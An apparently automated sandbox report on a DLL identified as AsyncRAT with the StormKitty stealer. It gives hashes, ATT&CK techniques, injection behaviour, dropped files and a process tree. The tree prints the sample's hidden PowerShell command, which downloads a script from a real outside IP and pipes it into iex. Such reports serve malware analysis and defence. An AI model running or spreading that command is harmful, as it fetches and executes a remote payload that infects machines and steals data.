asyncrat | 9c2838e120c7ed5b582bedc6177f14a52aa578adeea269d0f96fc71a95bd6e68

General

Target

9c2838e120c7ed5b582bedc6177f14a52aa578adeea269d0f96fc71a95bd6e68.dll
Size

88KB
MD5

33ae2b9c3e710254fe2e2ce35ff8a7c8
SHA1

109e32187254b27e04ef18bbe1b48fad42bca841
SHA256

9c2838e120c7ed5b582bedc6177f14a52aa578adeea269d0f96fc71a95bd6e68
SHA512

2abe017e2f1d29fe789206d6483b9b33e7abd0871300d678eaba15e390d55c5e197d6cea6ea32dfdee5f65d082574adcc192a4fc0c9506bbba8ad7e957e12599
SSDEEP

1536:L02ifPleVQ8zxlaSRslYzy26igsbuNdn4fuH1e6tsWy4cdlETcgS/iG:5iV4Qaxltsl/ggsCN3oBlQcgkiG

Score

10^/10

asyncrat stormkitty discovery execution rat stealer

Malware Config

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral2/memory/548-37-0x0000000000400000-0x0000000000704000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	4764	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4764	powershell.exe

Downloads MZ/PE file
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4764 set thread context of 548	4764	powershell.exe	91

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4764	powershell.exe
4764	powershell.exe
4764	powershell.exe
4764	powershell.exe
548	RegAsm.exe
548	RegAsm.exe
548	RegAsm.exe
548	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4764	powershell.exe
Token: SeDebugPrivilege	548	RegAsm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
548	RegAsm.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 1792 wrote to memory of 4304	1792	regsvr32.exe	83
PID 1792 wrote to memory of 4304	1792	regsvr32.exe	83
PID 1792 wrote to memory of 4304	1792	regsvr32.exe	83
PID 4304 wrote to memory of 624	4304	regsvr32.exe	84
PID 4304 wrote to memory of 624	4304	regsvr32.exe	84
PID 4304 wrote to memory of 624	4304	regsvr32.exe	84
PID 624 wrote to memory of 4764	624	cmd.exe	86
PID 624 wrote to memory of 4764	624	cmd.exe	86
PID 624 wrote to memory of 4764	624	cmd.exe	86
PID 4764 wrote to memory of 2712	4764	powershell.exe	87
PID 4764 wrote to memory of 2712	4764	powershell.exe	87
PID 4764 wrote to memory of 2712	4764	powershell.exe	87
PID 2712 wrote to memory of 1032	2712	csc.exe	88
PID 2712 wrote to memory of 1032	2712	csc.exe	88
PID 2712 wrote to memory of 1032	2712	csc.exe	88
PID 4764 wrote to memory of 1868	4764	powershell.exe	90
PID 4764 wrote to memory of 1868	4764	powershell.exe	90
PID 4764 wrote to memory of 1868	4764	powershell.exe	90
PID 4764 wrote to memory of 548	4764	powershell.exe	91
PID 4764 wrote to memory of 548	4764	powershell.exe	91
PID 4764 wrote to memory of 548	4764	powershell.exe	91
PID 4764 wrote to memory of 548	4764	powershell.exe	91
PID 4764 wrote to memory of 548	4764	powershell.exe	91
PID 4764 wrote to memory of 548	4764	powershell.exe	91
PID 4764 wrote to memory of 548	4764	powershell.exe	91
PID 4764 wrote to memory of 548	4764	powershell.exe	91

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\9c2838e120c7ed5b582bedc6177f14a52aa578adeea269d0f96fc71a95bd6e68.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:1792
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\9c2838e120c7ed5b582bedc6177f14a52aa578adeea269d0f96fc71a95bd6e68.dll
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4304
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:624
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4764
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dbbn5gny\dbbn5gny.cmdline"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2712
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAA3A.tmp" "c:\Users\Admin\AppData\Local\Temp\dbbn5gny\CSC8973B30AD39B4B6DAC81C658F01EDB6.TMP"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1032
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:1868
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:548

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RESAA3A.tmp

Filesize
1KB

MD5
1e48ea92136a1449802ce44c0a46da23

SHA1
6f8bc8cadc7e01cd3cc7265f19b474671ecfe0c6

SHA256
60e6520951fd4cb2d1df6ec5ffa5422f318fc4d46c996b2363e4a779ffffc4f4

SHA512
2bad1003c87a39aae8e319aac2458b1a5fba6de7fa7f8c06dbe15c56bd6d0fd4a0084112e941638bd37b9d5ff7fc461898965f24d88e9fe6a48c755bd3de7813

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cje5zivm.x3i.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\dbbn5gny\dbbn5gny.dll

Filesize
9KB

MD5
084bad48c9771b309e2a221390f86936

SHA1
de780aa204006d52e79b252394bfe55609fc67f1

SHA256
4f27cd6b158674a79e5c4a8613f7d2416cc228ed0d64ac5e3769decc7f52569f

SHA512
16b1f8c06496dc7dc4bfe1227cc7ba4cbcf88c8723270b050e6e33c814b8f6c1e4409fac52c0d540611f02515397bb4a1b42dd9c7c8b7fa69ad80d71b675504e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\dbbn5gny\CSC8973B30AD39B4B6DAC81C658F01EDB6.TMP

Filesize
652B

MD5
c48e6af47243dea5bf081a1ad93e9653

SHA1
a981c3ea9a6778ebcbf27bdd89ea585370177812

SHA256
e96b322bdcb64ec3ebdc68d4205c8a1f177f4c96c8b5c445a5add5360f9366dc

SHA512
5700dcc4c0885a4a02569c266dcba2798ede52e99edd52f089f09df68cbd61089262d03d72dba5e1294f5cbfa6149611ab847885cd6512d4520fe80c51254d9e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\dbbn5gny\dbbn5gny.0.cs

Filesize
10KB

MD5
3fa79decff8805745cea8116d9bb2643

SHA1
92343c5fa2c768b964ae3a4e9136e5d7193e8558

SHA256
e6852a401b53a7af04d57aa1e4fc9621e3dffc1221534142316a27ae67e8f89c

SHA512
5c2879e59fa6609e6e87f70c5237b250a906bf7dd13a343dac9e81635b1fc91ad9374e643a306b99503c52ce9bd56554a64aa132584c732d43ee39fb17305d78

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\dbbn5gny\dbbn5gny.cmdline

Filesize
204B

MD5
09ccab2cfc00a6f063ef6c9a39541bf9

SHA1
4234426cf73af53177346504419f8d294507b2fe

SHA256
580ece62026e58efe37c0fa00bf812454aecdcf22e31712276ecdc2a69c36e48

SHA512
760818123acbbe2a9c1342fc0245a82ce1a36b4b5dcc9827efa3c2666dd4e90f1b8730f9cc73b37bd3573bda207226aee4853a1d3b5b76f32b1afc170b3c7ba3

Download Submit
memory/548-47-0x0000000006BC0000-0x0000000006F14000-memory.dmp

Filesize
3.3MB

Download
memory/548-46-0x00000000065F0000-0x000000000668C000-memory.dmp

Filesize
624KB

Download
memory/548-43-0x00000000056C0000-0x00000000056CA000-memory.dmp

Filesize
40KB

Download
memory/548-42-0x00000000056E0000-0x0000000005772000-memory.dmp

Filesize
584KB

Download
memory/548-41-0x0000000005840000-0x0000000005DE4000-memory.dmp

Filesize
5.6MB

Download
memory/548-37-0x0000000000400000-0x0000000000704000-memory.dmp

Filesize
3.0MB

Download
memory/4764-6-0x0000000005D30000-0x0000000005D96000-memory.dmp

Filesize
408KB

Download
memory/4764-0-0x000000007491E000-0x000000007491F000-memory.dmp

Filesize
4KB

Download
memory/4764-22-0x0000000007A00000-0x0000000007A0E000-memory.dmp

Filesize
56KB

Download
memory/4764-20-0x0000000007CC0000-0x000000000833A000-memory.dmp

Filesize
6.5MB

Download
memory/4764-19-0x00000000064C0000-0x000000000650C000-memory.dmp

Filesize
304KB

Download
memory/4764-18-0x0000000006470000-0x000000000648E000-memory.dmp

Filesize
120KB

Download
memory/4764-17-0x0000000005E50000-0x00000000061A4000-memory.dmp

Filesize
3.3MB

Download
memory/4764-21-0x0000000006970000-0x000000000698A000-memory.dmp

Filesize
104KB

Download
memory/4764-35-0x00000000051E0000-0x00000000051E8000-memory.dmp

Filesize
32KB

Download
memory/4764-7-0x0000000074910000-0x00000000750C0000-memory.dmp

Filesize
7.7MB

Download
memory/4764-40-0x0000000074910000-0x00000000750C0000-memory.dmp

Filesize
7.7MB

Download
memory/4764-5-0x0000000005650000-0x00000000056B6000-memory.dmp

Filesize
408KB

Download
memory/4764-4-0x00000000055B0000-0x00000000055D2000-memory.dmp

Filesize
136KB

Download
memory/4764-2-0x0000000074910000-0x00000000750C0000-memory.dmp

Filesize
7.7MB

Download
memory/4764-3-0x0000000005700000-0x0000000005D28000-memory.dmp

Filesize
6.2MB

Download
memory/4764-1-0x0000000002EA0000-0x0000000002ED6000-memory.dmp

Filesize
216KB

Download

Analysis

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